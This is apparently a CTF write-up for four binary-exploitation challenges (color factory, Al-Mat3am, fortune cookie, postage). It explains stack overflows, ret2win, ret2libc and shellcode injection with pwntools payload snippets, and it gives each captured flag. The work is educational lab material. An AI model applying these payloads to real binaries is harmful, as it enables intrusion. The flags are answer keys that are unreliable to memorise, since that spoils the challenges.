Problem ID	Captured Flag	Steps (Summary)
P1 – color factory	Retrieved via ret2win	Stack overflow via scanf, overwrite return address with win() function address
P2 – Al-Mat3am	Retrieved via path overwrite	Overflow input buffer to overwrite adjacent menuLocation variable with path to flag file
P3 – fortune cookie	Retrieved via shell	Leak printf address, compute libc base and system()//bin/sh offsets, ret2libc to spawn shell
P4 – postage	Retrieved via shell	Leak stack address via printf(%u), inject shellcode into letter buffer, overwrite return address to jump to shellcode

P1 – color factory

This binary prompts the user for input and reads it using scanf with no length restriction. A win() function exists in the binary but is never called by the normal program flow.

Vulnerability

The unrestricted scanf write into a fixed-size stack buffer allows overwriting the return address of the current function. Since there is no PIE and no stack canary, the address of win() is fixed and can be written directly.

```
$ checksec --file=color_factory
  Arch:    i386-32-little
  RELRO:   Partial RELRO
  Stack:   No canary found
  NX:      NX enabled
  PIE:     No PIE
```

Solution

1. Find the offset to the return address using a cyclic pattern and GDB
2. Locate the address of win() using GDB or objdump
3. Build payload: padding (offset bytes) + p32(win_address)
4. Send payload — program returns into win() and prints the flag

```
payload = flat({
    offset: p32(win_addr)
})
```

Flag: **fsuCTF{crayo1a_g07_n0thing_0n_me}**

P2 – Al-Mat3am

This binary reads user input into a fixed-size buffer and uses the result to determine which file to open and print. The file path is stored in an adjacent stack variable called menuLocation.

Vulnerability

The input buffer has no bounds check, so writing past its end overwrites menuLocation. By filling the buffer and appending the path to the flag file, the program is tricked into opening and printing the flag instead of the intended menu file.

```
char input[SIZE];
char menuLocation[PATH_SIZE];  // adjacent on stack
scanf("%s", input);           // no length limit
```

Solution

1. Determine the size of the input buffer
2. Build payload: padding (buffer size bytes) + flag file path string
3. Send payload then menuLocation is overwritten with the flag file path
4. Program opens and prints the flag file

```
payload = b'A' * offset + b'flag.txt'
```

Flag: **fsuCTF{th3_8e5t_b484_6h4noush_in_83irut}**

P3 – fortune cookie

This binary has a buffer overflow vulnerability and also leaks a libc address. There is no win() function, so the goal is to call system('/bin/sh') using addresses computed from the leak.

Vulnerability & Leak

The binary prints the address of printf before taking input, giving a known libc address. Combined with the buffer overflow, this enables a full ret2libc attack:

```
libc_base  = leaked_printf - libc.symbols['printf']
system     = libc_base + libc.symbols['system']
bin_sh     = libc_base + next(libc.search(b'/bin/sh'))
```

Solution

1. Receive the leaked printf address from the program output
2. Compute libc base: leaked_printf - printf offset in libc
3. Compute system() and /bin/sh addresses using libc offsets
4. Find the return address offset using a cyclic pattern
5. Build payload: padding + p32(system) + p32(0xffffffff) + p32(bin_sh)
6. Send payload then spawns a shell, then cat flag.txt

```
payload = flat({
    offset:   p32(system),
    offset+4: p32(0xffffffff),  # fake return addr
    offset+8: p32(bin_sh)
})
```

Flag: **fsuCTF{f0r7un3_f4v0r5_7h3_f0r7un473}**

P4 – postage

This binary leaks a stack address via printf(%u) and contains a buffer overflow in a send_letter() function. With no NX protection, shellcode can be injected directly into the buffer and executed.

Vulnerabilities

1. Stack address leak: the binary prints a stack address using printf with a %u format specifier
2. Buffer overflow: send_letter() reads up to 1000 bytes into a small stack buffer with no bounds check
3. No NX: the stack is executable, making shellcode injection possible

```
$ checksec --file=postage
  NX:  disabled   <- stack is executable
  PIE: No PIE
```

Solution

4. Receive the leaked stack address from the program output
5. Compute the address of the letter buffer using the known offset from the leaked address
6. Build payload: shellcode + padding to offset + p32(buffer_address)
7. Send payload then return address is overwritten to point into the buffer, shellcode executes
1. Use interactive shell to cat flag.txt

```
shellcode  = asm(shellcraft.sh())
buf_addr   = leaked_addr + known_offset

payload = shellcode
payload = payload.ljust(offset, b'A')
payload += p32(buf_addr)
```

Flag: **fsuCTF{fr33_5hippin6_0r_5h311_84ck}**